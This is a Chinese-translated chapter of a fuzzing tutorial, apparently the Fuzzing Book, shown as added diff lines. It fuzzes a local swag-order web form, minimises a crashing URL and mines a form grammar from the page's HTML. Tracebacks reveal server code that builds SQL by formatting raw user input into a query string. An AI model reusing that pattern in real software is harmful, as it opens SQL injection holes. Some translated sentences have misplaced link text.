+```
+
+### 与服务器交互
+
+现在让我们访问刚刚创建的服务器。
+
+#### 直接浏览器访问
+
+如果您也在本地主机上运行Jupyter笔记本服务器，则现在可以直接通过给定的URL访问服务器。 单击下面的链接，即可在`httpd_url`中打开地址。
+
+**注意**：仅当您在本地主机上运行Jupyter笔记本服务器时，此方法才有效。
+
+```py
+def print_url(url):
+    if rich_output():
+        display(HTML('<pre><a href="%s">%s</a></pre>' % (url, url)))
+    else:
+        print(terminal_escape(url))
+
+```
+
+```py
+print_url(httpd_url)
+
+```
+
+```py
+http://127.0.0.1:8800
+```
+
+更方便的是，您可以使用下面的窗口直接与服务器进行交互。
+
+**Note**: This only works if you are running the Jupyter notebook server on the local host.
+
+```py
+HTML('<iframe src="' + httpd_url + '" ' +
+     'width="100%" height="230"></iframe>')
+
+```
+
+交互之后，您可以检索服务器生成的消息：
+
+```py
+print_httpd_messages()
+
+```
+
+我们还可以看到数据库中下的任何订单：
+
+```py
+print(db.execute("SELECT * FROM orders").fetchall())
+
+```
+
+```py
+[]
+
+```
+
+我们可以清除订单数据库：
+
+```py
+db.execute("DELETE FROM orders")
+db.commit()
+
+```
+
+#### 检索主页
+
+即使我们的浏览器无法直接与服务器交互，*笔记本*也可以。 例如，我们可以检索主页的内容并显示它们：
+
+```py
+contents = webbrowser(httpd_url)
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:41] "GET / HTTP/1.1" 200 -
+
+```
+
+```py
+HTML(contents)
+
+```
+
+<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">**Fuzzingbook Swag Order Form**
+
+Yes! Please send me at your earliest convenience <select name="item"><option value="tshirt">One FuzzingBook T-Shirt</option> <option value="drill">One FuzzingBook Rotary Hammer</option> <option value="lockset">One FuzzingBook Lock Set</option></select>
+
+| <label for="name">Name:</label> <input name="name" type="text"> | <label for="email">Email:</label> <input name="email" type="email">
+ |
+| <label for="city">City:</label> <input name="city" type="text"> | <label for="zip">ZIP Code:</label> <input name="zip" type="number"> |
+
+<input name="terms" type="checkbox"><label for="terms">I have read the [terms and conditions](/terms)</label>.
+<input name="submit" type="submit" value="Place order"></form>
+
+#### 下订单
+
+为了测试此表单，我们可以生成包含订单的URL，并让服务器处理它们。
+
+`urljoin()`方法将基本网址（即我们服务器的网址）和路径（例如，指向我们订单的路径）组合在一起。
+
+```py
+from [urllib.parse](https://docs.python.org/3/library/urllib.parse.html) import urljoin, urlsplit
+
+```
+
+```py
+urljoin(httpd_url, "/order?foo=bar")
+
+```
+
+```py
+'http://127.0.0.1:8800/order?foo=bar'
+
+```
+
+使用`urljoin()`，我们可以创建一个完整的URL，该URL与提交订单时浏览器生成的URL相同。 如我们在生成的服务器日志中看到的那样，将该URL发送到浏览器会有效地下订单。
+
+```py
+contents = webbrowser(urljoin(httpd_url,
+                              "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104"))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:41] INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104')
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:41] "GET /order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104 HTTP/1.1" 200 -
+
+```
+
+返回的网页确认订单：
+
+```py
+HTML(contents)
+
+```
+
+**Thank you for your Fuzzingbook Order!**
+
+我们将把**一件FuzzingBook T恤**发送给位于98104西雅图的简·多伊（Jane Doe）
+，确认邮件将发送至doe@example.com。
+
+Want more swag? Use our [order form](/)!
+
+订单也位于数据库中：
+
+```py
+print(db.execute("SELECT * FROM orders").fetchall())
+
+```
+
+```py
+[('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104')]
+
+```
+
+#### 错误消息
+
+我们还可以测试服务器是否正确响应了无效请求。 例如，正确处理不存在的页面：
+
+```py
+HTML(webbrowser(urljoin(httpd_url, "/some/other/path")))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:41] "GET /some/other/path HTTP/1.1" 404 -
+
+```
+
+**Sorry.**
+
+This page does not exist. Try our [order form](/) instead.
+
+您可能还记得我们还有一个有关内部服务器错误的页面。 我们可以让服务器生成此页面吗？ 为了找到答案，我们必须对服务器进行彻底的测试，这将在本章的其余部分中进行。
+
+## 模糊输入形式
+
+设置并启动服务器后，让我们现在进行系统地测试-首先使用预期值，然后使用较低的预期值。
+
+### 用期望值[进行模糊处理](#Fuzzing-with-Expected-Values)
+
+由于下订单都是通过创建适当的URL来完成的，因此我们定义了[语法](Grammars.html) `ORDER_GRAMMAR`来对订购URL进行编码。 它带有一些名称，电子邮件地址，城市和（随机）数字的示例值。
+
+为了更轻松地定义成为URL一部分的字符串，我们定义了函数`cgi_encode()`，将一个字符串并自动编码为CGI：
+
+```py
+import [string](https://docs.python.org/3/library/string.html)
+
+```
+
+```py
+def cgi_encode(s, do_not_encode=""):
+    ret = ""
+    for c in s:
+        if (c in string.ascii_letters or c in string.digits
+                or c in "$-_.+!*'()," or c in do_not_encode):
+            ret += c
+        elif c == ' ':
+            ret += '+'
+        else:
+            ret += "%%%02x" % ord(c)
+    return ret
+
+```
+
+```py
+s = cgi_encode('Is "DOW30" down .24%?')
+s
+
+```
+
+```py
+'Is+%22DOW30%22+down+.24%25%3f'
+
+```
+
+可选参数`do_not_encode`允许我们从编码中跳过某些字符。 在对语法规则进行编码时，这很有用：
+
+```py
+cgi_encode("<string>@<string>", "<>")
+
+```
+
+```py
+'<string>%40<string>'
+
+```
+
+`cgi_encode()`与[关于覆盖](Coverage.html)的一章中定义的`cgi_decode()`功能的完全对应：
+
+```py
+from [Coverage](Coverage.html) import cgi_decode  # minor dependency
+
+```
+
+```py
+cgi_decode(s)
+
+```
+
+```py
+'Is "DOW30" down .24%?'
+
+```
+
+现在来看语法。 我们使用`cgi_encode()`编码字符串：
+
+```py
+from [Grammars](Grammars.html) import crange, is_valid_grammar, syntax_diagram
+
+```
+
+```py
+ORDER_GRAMMAR = {
+    "<start>": ["<order>"],
+    "<order>": ["/order?item=<item>&name=<name>&email=<email>&city=<city>&zip=<zip>"],
+    "<item>": ["tshirt", "drill", "lockset"],
+    "<name>": [cgi_encode("Jane Doe"), cgi_encode("John Smith")],
+    "<email>": [cgi_encode("j.doe@example.com"), cgi_encode("j_smith@example.com")],
+    "<city>": ["Seattle", cgi_encode("New York")],
+    "<zip>": ["<digit>" * 5],
+    "<digit>": crange('0', '9')
+}
+
+```
+
+```py
+assert is_valid_grammar(ORDER_GRAMMAR)
+
+```
+
+```py
+syntax_diagram(ORDER_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 182.5 62" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">order</text></g></g></g></g></svg>
+
+```py
+order
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 976.0 62" width="976.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="121.0" y="35">/order?item=</text></g> <g class="non-terminal"><text x="229.0" y="35">item</text></g> <g class="terminal"><text x="311.5" y="35">&name=</text></g> <g class="non-terminal"><text x="394.0" y="35">name</text></g> <g class="terminal"><text x="480.75" y="35">&email=</text></g> <g class="non-terminal"><text x="571.75" y="35">email</text></g> <g class="terminal"><text x="658.5" y="35">&city=</text></g> <g class="non-terminal"><text x="741.0" y="35">city</text></g> <g class="terminal"><text x="819.25" y="35">&zip=</text></g> <g class="non-terminal"><text x="893.25" y="35">zip</text></g></g></g></g></svg>
+
+```py
+item
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 199.5 122" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">tshirt</text></g></g> <g><g class="terminal"><text x="99.75" y="65">drill</text></g></g> <g><g class="terminal"><text x="99.75" y="95">lockset</text></g></g></g></g></svg>
+
+```py
+name
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 225.0 92" width="225.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="112.5" y="35">Jane+Doe</text></g></g> <g><g class="terminal"><text x="112.5" y="65">John+Smith</text></g></g></g></g></svg>
+
+```py
+email
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 318.5 92" width="318.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="159.25" y="35">j.doe%40example.com</text></g></g> <g><g class="terminal"><text x="159.25" y="65">j_smith%40example.com</text></g></g></g></g></svg>
+
+```py
+city
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 208.0 92" width="208.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="104.0" y="35">Seattle</text></g></g> <g><g class="terminal"><text x="104.0" y="65">New+York</text></g></g></g></g></svg>
+
+```py
+zip
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 512.5 62" width="512.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">digit</text></g> <g class="non-terminal"><text x="173.75" y="35">digit</text></g> <g class="non-terminal"><text x="256.25" y="35">digit</text></g> <g class="non-terminal"><text x="338.75" y="35">digit</text></g> <g class="non-terminal"><text x="421.25" y="35">digit</text></g></g></g></g></svg>
+
+```py
+digit
+
+```
+
+ <svg class="railroad-diagram" height="109" viewBox="0 0 522.5 109" width="522.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">6</text></g></g> <g><g class="terminal"><text x="349.75" y="73">7</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">8</text></g></g> <g><g class="terminal"><text x="438.25" y="73">9</text></g></g></g></g></g></svg>
+
+使用我们的语法模糊器之一[，我们可以实例化此语法并生成URL：](GrammarFuzzer.iynb)
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer
+
+```
+
+```py
+order_fuzzer = GrammarFuzzer(ORDER_GRAMMAR)
+[order_fuzzer.fuzz() for i in range(5)]
+
+```
+
+```py
+['/order?item=drill&name=Jane+Doe&email=j.doe%40example.com&city=New+York&zip=42436',
+ '/order?item=drill&name=John+Smith&email=j_smith%40example.com&city=New+York&zip=56213',
+ '/order?item=drill&name=Jane+Doe&email=j_smith%40example.com&city=Seattle&zip=63628',
+ '/order?item=drill&name=John+Smith&email=j.doe%40example.com&city=Seattle&zip=59538',
+ '/order?item=drill&name=Jane+Doe&email=j_smith%40example.com&city=New+York&zip=41160']
+
+```
+
+将这些URL发送到服务器将正确处理它们：
+
+```py
+HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz())))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:42] INSERT INTO orders VALUES ('lockset', 'Jane Doe', 'j_smith@example.com', 'Seattle', '16631')
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:42] "GET /order?item=lockset&name=Jane+Doe&email=j_smith%40example.com&city=Seattle&zip=16631 HTTP/1.1" 200 -
+
+```
+
+**Thank you for your Fuzzingbook Order!**
+
+我们将把**一本FuzzingBook锁套**发送给西雅图的简·多伊（Jane Doe），16631
+。确认邮件将发送至j_smith@example.com。
+
+Want more swag? Use our [order form](/)!
+
+```py
+print(db.execute("SELECT * FROM orders").fetchall())
+
+```
+
+```py
+[('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104'), ('lockset', 'Jane Doe', 'j_smith@example.com', 'Seattle', '16631')]
+
+```
+
+### 使用意外值[进行模糊处理](#Fuzzing-with-Unexpected-Values)
+
+现在，我们可以看到服务器在面对“标准”值时表现出色。 但是，如果我们输入非标准值会怎样？ 为此，我们使用了[突变模糊器](MutationFuzzer.html)，该变量将随机更改插入URL。 我们的种子（即要变异的值）来自语法模糊器：
+
+```py
+seed = order_fuzzer.fuzz()
+seed
+
+```
+
+```py
+'/order?item=drill&name=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732'
+
+```
+
+对该字符串进行突变不仅会在字段值中产生突变，还会在字段名称以及URL结构中产生突变。
+
+```py
+from [MutationFuzzer](MutationFuzzer.html) import MutationFuzzer  # minor deoendency
+
+```
+
+```py
+mutate_order_fuzzer = MutationFuzzer([seed], min_mutations=1, max_mutations=1)
+[mutate_order_fuzzer.fuzz() for i in range(5)]
+
+```
+
+```py
+['/order?item=drill&name=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732',
+ '/order?item=drill&name=Jane+Doe&email=.doe%40example.com&city=Seattle&zip=45732',
+ '/order?item=drill;&name=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732',
+ '/order?item=drill&name=Jane+Doe&emil=j.doe%40example.com&city=Seattle&zip=45732',
+ '/order?item=drill&name=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=4732']
+
+```
+
+让我们稍微模糊一下，直到出现内部服务器错误。 我们使用Python `requests`模块与Web服务器进行交互，以便我们可以直接访问HTTP状态代码。
+
+```py
+while True:
+    path = mutate_order_fuzzer.fuzz()
+    url = urljoin(httpd_url, path)
+    r = requests.get(url)
+    if r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR:
+        break
+
+```
+
+没多久。 这是有问题的网址：
+
+```py
+url
+
+```
+
+```py
+'http://127.0.0.1:8800/order?item=drill&nae=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732'
+
+```
+
+```py
+clear_httpd_messages()
+HTML(webbrowser(url))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:42] "GET /order?item=drill&nae=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732 HTTP/1.1" 500 -
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:42] Traceback (most recent call last):
+  File "", line 8, in do_GET
+    self.handle_order()
+  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
+    self.store_order(values)
+  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
+    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
+KeyError: 'name'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
+```
+
+**Internal Server Error**
+
+The server has encountered an internal error. Go to our [order form](/).
+
+```py
+Traceback (most recent call last):
+  File "", line 8, in do_GET
+    self.handle_order()
+  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
+    self.store_order(values)
+  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
+    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
+KeyError: 'name'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
+```
+
+URL如何导致此内部错误？ 我们使用[增量调试](Reducer.html)来最小化导致故障的路径，并建立了`WebRunner`类来定义故障条件：
+
+```py
+failing_path = path
+failing_path
+
+```
+
+```py
+'/order?item=drill&nae=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732'
+
+```
+
+```py
+from [Fuzzer](Fuzzer.html) import Runner
+
+```
+
+```py
+class WebRunner(Runner):
+    def __init__(self, base_url=None):
+        self.base_url = base_url
+
+    def run(self, url):
+        if self.base_url is not None:
+            url = urljoin(self.base_url, url)
+
+        import [requests](http://docs.python-requests.org/en/master/)  # for imports
+        r = requests.get(url)
+        if r.status_code == HTTPStatus.OK:
+            return url, Runner.PASS
+        elif r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR:
+            return url, Runner.FAIL
+        else:
+            return url, Runner.UNRESOLVED
+
+```
+
+```py
+web_runner = WebRunner(httpd_url)
+web_runner.run(failing_path)
+
+```
+
+```py
+('http://127.0.0.1:8800/order?item=drill&nae=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732',
+ 'FAIL')
+
+```
+
+这是最小化的路径：
+
+```py
+from [Reducer](Reducer.html) import DeltaDebuggingReducer  # minor
+
+```
+
+```py
+minimized_path = DeltaDebuggingReducer(web_runner).reduce(failing_path)
+minimized_path
+
+```
+
+```py
+'order'
+
+```
+
+事实证明，如果我们不提供请求的字段，我们的服务器就会遇到内部错误：
+
+```py
+minimized_url = urljoin(httpd_url, minimized_path)
+minimized_url
+
+```
+
+```py
+'http://127.0.0.1:8800/order'
+
+```
+
+```py
+clear_httpd_messages()
+HTML(webbrowser(minimized_url))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:42] "GET /order HTTP/1.1" 500 -
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:42] Traceback (most recent call last):
+  File "", line 8, in do_GET
+    self.handle_order()
+  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
+    self.store_order(values)
+  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
+    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
+KeyError: 'item'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
+```
+
+**Internal Server Error**
+
+The server has encountered an internal error. Go to our [order form](/).
+
+```py
+Traceback (most recent call last):
+  File "", line 8, in do_GET
+    self.handle_order()
+  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
+    self.store_order(values)
+  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
+    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
+KeyError: 'item'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
+```
+
+我们看到，要使我们的Web服务器对意外的输入变得更加健壮，我们可能还有很多工作要做。 [练习](#Exercises)提供了有关操作的说明。
+
+## 提取输入格式的语法
+
+在前面的示例中，我们假设我们有一个语法可以生成有效（或无效）的订单查询。 但是，不需要手动指定这种语法。 我们还可以*从当前网页中自动提取*。 这样，我们可以将测试生成器应用于任意Web表单，而无需手动指定步骤。
+
+### 在HTML中搜索输入字段
+
+我们方法的关键思想是识别表单中的所有输入字段。 为此，让我们看一下订单表单中的各个元素如何以HTML编码：
+
+```py
+html_text = webbrowser(httpd_url)
+print(html_text[html_text.find("<form"):html_text.find("</form>") + len("</form>")])
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:42] "GET / HTTP/1.1" 200 -
+
+```
+
+```py
+<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
+  <strong id="title" style="font-size: x-large">Fuzzingbook Swag Order Form</strong>
+  <p>
+  Yes! Please send me at your earliest convenience
+  <select name="item">
+  <option value="tshirt">One FuzzingBook T-Shirt</option>
+<option value="drill">One FuzzingBook Rotary Hammer</option>
+<option value="lockset">One FuzzingBook Lock Set</option>
+
+  </select>
+  <br>
+  <table>
+  <tr><td>
+  <label for="name">Name: </label><input type="text" name="name">
+  </td><td>
+  <label for="email">Email: </label><input type="email" name="email"><br>
+  </td></tr>
+  <tr><td>
+  <label for="city">City: </label><input type="text" name="city">
+  </td><td>
+  <label for="zip">ZIP Code: </label><input type="number" name="zip">
+  </tr></tr>
+  </table>
+  <input type="checkbox" name="terms"><label for="terms">I have read
+  the <a href="/terms">terms and conditions</a></label>.<br>
+  <input type="submit" name="submit" value="Place order">
+</p>
+</form>
+
+```
+
+我们看到有许多接受输入的表单元素，特别是`<input>`，但也接受`<select>`和`<option>`。 现在的想法是*解析*所讨论网页的HTML，提取这些单独的输入元素，然后创建*语法*来生成匹配的URL，从而有效地填写 形成。
+
+为了解析HTML页面，我们可以定义一个语法来解析HTML，并利用我们自己的解析器基础结构来使用[。 但是，不重新发明轮子，而是建立在Python库中现有的专用`HTMLParser`类上要容易得多。](Parser.html)
+
+```py
+from [html.parser](https://docs.python.org/3/library/html.parser.html) import HTMLParser
+
+```
+
+解析期间，我们搜索`<form>`标签并将关联的操作（即，提交表单时要调用的URL）保存在`action`属性中。 在处理表单时，我们将创建一个映射`fields`，其中包含我们已经看到的所有输入字段。 它将字段名称映射到相应的HTML输入类型（`"text"`，`"number"`，`"checkbox"`等）。 排他选择选项映射到可能值的列表； `select`堆栈保存当前活动的选择。
+
+```py
+class FormHTMLParser(HTMLParser):
+    def reset(self):
+        super().reset()
+        self.action = ""  # Form action
+        # Map of field name to type (or selection name to [option_1, option_2,
+        # ...])
+        self.fields = {}
+        self.select = []  # Stack of currently active selection names
+
+```
+
+解析时，解析器为找到的每个开始标记（例如`<form>`）调用`handle_starttag()`； 相反，它调用`handle_endtag()`来关闭标签（例如`</form>`）。 `attributes`为我们提供了相关属性和值的映射。
+
+这是我们处理各个标签的方法：
+
+*   找到`<form>`标签后，将相关联的动作保存在`action`属性中；
+*   找到`<input>`标签或类似标签时，将类型保存在`fields`属性中；
+*   当找到`<select>`标签或类似标签时，我们将其名称压入`select`堆栈；
+*   当我们找到一个`<option>`标签时，我们将该选项附加到与最后推送的`<select>`标签相关的列表中。
+
+```py
+class FormHTMLParser(FormHTMLParser):
+    def handle_starttag(self, tag, attrs):
+        attributes = {attr_name: attr_value for attr_name, attr_value in attrs}
+        # print(tag, attributes)
+
+        if tag == "form":
+            self.action = attributes.get("action", "")
+
+        elif tag == "select" or tag == "datalist":
+            if "name" in attributes:
+                name = attributes["name"]
+                self.fields[name] = []
+                self.select.append(name)
+            else:
+                self.select.append(None)
+
+        elif tag == "option" and "multiple" not in attributes:
+            current_select_name = self.select[-1]
+            if current_select_name is not None and "value" in attributes:
+                self.fields[current_select_name].append(attributes["value"])
+
+        elif tag == "input" or tag == "option" or tag == "textarea":
+            if "name" in attributes:
+                name = attributes["name"]
+                self.fields[name] = attributes.get("type", "text")
+
+        elif tag == "button":
+            if "name" in attributes:
+                name = attributes["name"]
+                self.fields[name] = [""]
+
+```
+
+```py
+class FormHTMLParser(FormHTMLParser):
+    def handle_endtag(self, tag):
+        if tag == "select":
+            self.select.pop()
+
+```
+
+我们的实现每个网页只处理一种表单； 它也仅适用于HTML，而忽略了来自JavaScript的所有交互。 此外，它不支持所有HTML输入类型。
+
+让我们将这个解析器付诸行动。 我们创建一个`HTMLGrammarMiner`类，该类需要一个HTML文档进行解析。 然后，它返回关联的动作和关联的字段：
+
+```py
+class HTMLGrammarMiner(object):
+    def __init__(self, html_text):
+        html_parser = FormHTMLParser()
+        html_parser.feed(html_text)
+        self.fields = html_parser.fields
+        self.action = html_parser.action
+
+```
+
+应用到我们的订单上，我们得到的是：
+
+```py
+html_miner = HTMLGrammarMiner(html_text)
+html_miner.action
+
+```
+
+```py
+'/order'
+
+```
+
+```py
+html_miner.fields
+
+```
+
+```py
+{'item': ['tshirt', 'drill', 'lockset'],
+ 'name': 'text',
+ 'email': 'email',
+ 'city': 'text',
+ 'zip': 'number',
+ 'terms': 'checkbox',
+ 'submit': 'submit'}
+
+```
+
+通过这种结构，我们现在可以生成一个语法，该语法自动生成有效的表单提交URL。
+
+### 网页的语法摘要
+
+为了从HTML提取的字段中创建语法，我们以语法的[一章中定义的`CGI_GRAMMAR`为基础。 关键思想是为每种HTML输入类型定义规则：HTML `number`类型将从`<number>`规则中获取值； 同样，将根据`<email>`规则定义HTML `email`类型的值。 我们的默认语法为这些类型提供了非常简单的规则。](Grammars.html)
+
+```py
+from [Grammars](Grammars.html) import crange, srange, new_symbol, unreachable_nonterminals, CGI_GRAMMAR, extend_grammar
+
+```
+
+```py
+class HTMLGrammarMiner(HTMLGrammarMiner):
+    QUERY_GRAMMAR = extend_grammar(CGI_GRAMMAR, {
+        "<start>": ["<action>?<query>"],
+
+        "<text>": ["<string>"],
+
+        "<number>": ["<digits>"],
+        "<digits>": ["<digit>", "<digits><digit>"],
+        "<digit>": crange('0', '9'),
+
+        "<checkbox>": ["<_checkbox>"],
+        "<_checkbox>": ["on", "off"],
+
+        "<email>": ["<_email>"],
+        "<_email>": [cgi_encode("<string>@<string>", "<>")],
+
+        # Use a fixed password in case we need to repeat it
+        "<password>": ["<_password>"],
+        "<_password>": ["abcABC.123"],
+
+        # Stick to printable characters to avoid logging problems
+        "<percent>": ["%<hexdigit-1><hexdigit>"],
+        "<hexdigit-1>": srange("34567"),
+
+        # Submissions:
+        "<submit>": [""]
+    })
+
+```
+
+现在，我们的语法挖掘器将从HTML提取的字段转换为规则。 本质上，遇到的每个输入字段都包含在结果查询URL中； 并得到一条将其扩展为适当类型的规则。
+
+```py
+class HTMLGrammarMiner(HTMLGrammarMiner):
+    def mine_grammar(self):
+        grammar = extend_grammar(self.QUERY_GRAMMAR)
+        grammar["<action>"] = [self.action]
+
+        query = ""
+        for field in self.fields:
+            field_symbol = new_symbol(grammar, "<" + field + ">")
+            field_type = self.fields[field]
+
+            if query != "":
+                query += "&"
+            query += field_symbol
+
+            if isinstance(field_type, str):
+                field_type_symbol = "<" + field_type + ">"
+                grammar[field_symbol] = [field + "=" + field_type_symbol]
+                if field_type_symbol not in grammar:
+                    # Unknown type
+                    grammar[field_type_symbol] = ["<text>"]
+            else:
+                # List of values
+                value_symbol = new_symbol(grammar, "<" + field + "-value>")
+                grammar[field_symbol] = [field + "=" + value_symbol]
+                grammar[value_symbol] = field_type
+
+        grammar["<query>"] = [query]
+
+        # Remove unused parts
+        for nonterminal in unreachable_nonterminals(grammar):
+            del grammar[nonterminal]
+
+        assert is_valid_grammar(grammar)
+
+        return grammar
+
+```
+
+让我们展示一下`HTMLGrammarMiner`的运行情况，并将其再次应用到订单中。 这是完整的语法结果：
+
+```py
+html_miner = HTMLGrammarMiner(html_text)
+grammar = html_miner.mine_grammar()
+grammar
+
+```
+
+```py
+{'<start>': ['<action>?<query>'],
+ '<string>': ['<letter>', '<letter><string>'],
+ '<letter>': ['<plus>', '<percent>', '<other>'],
+ '<plus>': ['+'],
+ '<percent>': ['%<hexdigit-1><hexdigit>'],
+ '<hexdigit>': ['0',
+  '1',
+  '2',
+  '3',
+  '4',
+  '5',
+  '6',
+  '7',
+  '8',
+  '9',
+  'a',
+  'b',
+  'c',
+  'd',
+  'e',
+  'f'],
+ '<other>': ['0', '1', '2', '3', '4', '5', 'a', 'b', 'c', 'd', 'e', '-', '_'],
+ '<text>': ['<string>'],
+ '<number>': ['<digits>'],
+ '<digits>': ['<digit>', '<digits><digit>'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<checkbox>': ['<_checkbox>'],
+ '<_checkbox>': ['on', 'off'],
+ '<email>': ['<_email>'],
+ '<_email>': ['<string>%40<string>'],
+ '<hexdigit-1>': ['3', '4', '5', '6', '7'],
+ '<submit>': [''],
+ '<action>': ['/order'],
+ '<item>': ['item=<item-value>'],
+ '<item-value>': ['tshirt', 'drill', 'lockset'],
+ '<name>': ['name=<text>'],
+ '<email-1>': ['email=<email>'],
+ '<city>': ['city=<text>'],
+ '<zip>': ['zip=<number>'],
+ '<terms>': ['terms=<checkbox>'],
+ '<submit-1>': ['submit=<submit>'],
+ '<query>': ['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']}
+
+```
+
+让我们看一下语法的结构。 它产生这种形式的URL路径：
+
+```py
+grammar["<start>"]
+
+```
+
+```py
+['<action>?<query>']
+
+```
+
+此处，`<action>`来自HTML表单的`action`属性：
+
+```py
+grammar["<action>"]
+
+```
+
+```py
+['/order']
+
+```
+
+`<query>`由各个字段项组成：
+
+```py
+grammar["<query>"]
+
+```
+
+```py
+['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']
+
+```
+
+这些字段中的每一个都具有`<field-name>=<field-type>`的形式，其中`<field-type>`已在语法中定义：
+
+```py
+grammar["<zip>"]
+
+```
+
+```py
+['zip=<number>']
+
+```
+
+```py
+grammar["<terms>"]
+
+```
+
+```py
+['terms=<checkbox>']
+
+```
+
+这些是从语法产生的查询URL。 我们看到这些与我们手工制作的语法所产生的相似，除了名称，电子邮件地址和城市的字符串值现在完全是随机的：
+
+```py
+order_fuzzer = GrammarFuzzer(grammar)
+[order_fuzzer.fuzz() for i in range(3)]
+
+```
+
+```py
+['/order?item=drill&name=++%61&email=%6e%40b++&city=0&zip=88&terms=on&submit=',
+ '/order?item=tshirt&name=%3f&email=21+%40+&city=++&zip=4&terms=off&submit=',
+ '/order?item=drill&name=2&email=%62%40++%4d1++_%77&city=e%5d&zip=1&terms=on&submit=']
+
+```
+
+我们可以再次将它们直接输入到Web浏览器中：
+
+```py
+HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz())))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] INSERT INTO orders VALUES ('drill', ' ', '5F @p   a ', 'cdb', '3230')
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] "GET /order?item=drill&name=+&email=5F+%40p+++a+&city=cdb&zip=3230&terms=on&submit= HTTP/1.1" 200 -
+
+```
+
+**Thank you for your Fuzzingbook Order!**
+
+我们将发送**一本FuzzingBook旋转锤**至cdb，3230
+，确认邮件将发送至5F @p a。
+
+Want more swag? Use our [order form](/)!
+
+我们看到（再过一次）我们可以根据给定的数据自动挖掘语法。
+
+### Web表单的模糊器
+
